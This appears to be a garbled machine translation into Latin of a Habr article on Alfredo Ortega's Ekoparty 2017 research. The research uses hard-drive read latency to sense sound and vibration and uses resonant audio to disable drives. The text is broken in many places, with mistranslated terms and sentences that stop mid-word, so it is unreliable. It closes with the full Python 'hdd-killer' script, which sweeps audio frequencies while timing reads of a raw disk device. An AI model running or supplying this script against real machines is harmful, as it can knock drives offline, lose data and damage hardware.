Ad Ekoparty 2017 colloquium securitatis computatoriae in Buenos Aires, Argentina piratica Alfredo Ortega evolutionem valde interesting ostendit - systema secreti wiretapping praemissorum sine tortore utendo. Sonus
HDD maxime altum intensionem humilitatis frequentiae tollit sonos, vestigia et alias vibrationes. Humana locutio nondum agnosci potest, etsi docti
Sonus est vibratio aeris vel alterius medii. Homo eas percipit per eardrum, quod vibrationes in aurem interiorem transmittit. Microphone fere ut auricula designatur - hic quoque vibrationes memorantur per membranam tenuem quae impulsum electricam excitat. Ferreus coegi, utique microscopicis vibrationibus obnoxius est ob ambigua in aere circum. Hoc etiam ex notis technicis HDDs notum est: artifices maximam vibrationis gradum licitam plerumque indicant, et ipsa ferreus coegi saepe nititur eum ponere in vase vibratione probationis e materia globoso vel alia insulante facta. Ex quo facile colligitur sonos usus HDD notari posse. Reliquum est ut instar quomodo.
Alfredo Ortega unicam versionem oppugnationis lateris canali proposuit, scilicet tempus oppugnationis. Impetum hoc innititur supposito quod diversae operationes in fabrica diversis temporibus peragantur, secundum initus datae datae. In hoc casu, "input data" est vibrationes lectionis capitis et patinae HDD, quae cum sono ambitus vibrationes referunt, id est cum sono. Ita mensurans tempus computationis et analysin statistica notitiarum faciendo, vibrationes capitis/patinae et inde vibrationes medii metiri possunt. Quo diutius morae legendi datae sunt, eo fortius HDD vibrationes, ac proinde soni majoris.
Quomodo tremor coegi metiri ferreum? Valde simplex: iustus run ratio vocationis read ()
β ac notare tempus capit ad perficiendum. Systema operandi moderni permittunt te leoni systematis vocati cum accuratione nanoseconda legere.
Celeritas informationum legendi a sector pendet a positione capitis et patinae, quae cum tremoribus casus HDD correlat. Id omne.
Analysis statistica exercetur utendi simplici utilitate Kscope. Omne ingenium, ut aiunt, simplex est.
Kscope utilitas (stat() syscall)
Kscope parva utilitas est ad minimas differentias visualisndas in systemate vocationis executionis tempora. Source
In separato reposito read ()
.
Demonstratio sanae recordationis HDD usus, operatio utilitatis Kscopi
Utique locutio hoc modo intelligi non potest, sed HDD satis apta est ut vibratio sensoris. Exempli gratia, scribere potes si quis calceos duros vel discalceatos in cubiculum cum computatrali ingressus est (forsitan si oppugnator molles sneakers gerit vel spissum in solo vestis est, HDD vibrationes subire non poterit. hoc annotandum est). Computatorium vitreum fractum vel alia incidentia valida cum vehementia intensione scribere potest. Hoc est, ferreus coegi potest quasi quaedam ratio deprehendendi alienum intrusionis.
HDD interfectorem
Obiter similis ars inactivandi dura agitet adhiberi potest. Hic tantum non removemus oscillationes ab HDD, sed potius generamus oscillationes ad HDD pascendas. Si sonum ab oratore luderes in frequentia quae cum HDD frequentia resonat, ratio cito ab artificio cum errore I/O flectitur (Linux nucleus HDD post 120 secundas omnino deflectit). Ipsa ferrea coegi potest immedicabile damnum pati.
Linux nucleum avertit a coegi ferreo post 120 seconds liberandi sonum ad frequentiam sonoram per oratorem oratoris Edifier r19u USB. Loquens in quarta fere potentiae (minus quam 100 mW) versatur et 20 cm ab HDD sita est, ad mensam vibrationum augendam intendebat. Artus a
Curiosum est quod tales impetus in HDDs quandoque omnino per accidens in vita communi occurrunt. Exempli gratia, mense Septembri 2016, centrum notitia ING Bank operationes per 10 horas post ignem exercitio suspendere coactus est.
Demonstratio quiritationis humanae in arduis agitationibus in centrum datae. Latency measurement
Ad sonorum sonorum generandum, Alfredus Ortega scripsit scriptor Python, qui vocatus est
"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""
import pyaudio
import time
import sys
import math
import random
RATE=48000
FREQ=50
# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
"The disk will be opened as read-only.n" +
"Warning: It might cause damage to HDD.n" +
"Usage: %s /dev/sdX" % sys.argv[0]
sys.exit(-1)
# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ
# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
global x1,FREQ,NEWFREQ
data=''
sample=0
for x in xrange(frame_count):
oldsample=sample
sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
data = data+sample
# continous frequency change
if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
FREQ=NEWFREQ
x1=0
x1+=1
return (data, pyaudio.paContinue)
# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
channels=1,
rate=RATE,
output=True,
stream_callback=callback)
# start the stream (4)
stream.start_stream()
# wait for stream to finish (5)
while stream.is_active():
timeprom=0
c=file(sys.argv[1])
for i in xrange(20):
a=time.clock()
c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
c.read(51200)
b=time.clock()
timeprom+=b-a
c.close()
timeprom/=20
print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
NEWFREQ+=0.5
# stop stream (6)
stream.stop_stream()
stream.close()
# close PyAudio (7)
p.terminate()
Source: www.habr.com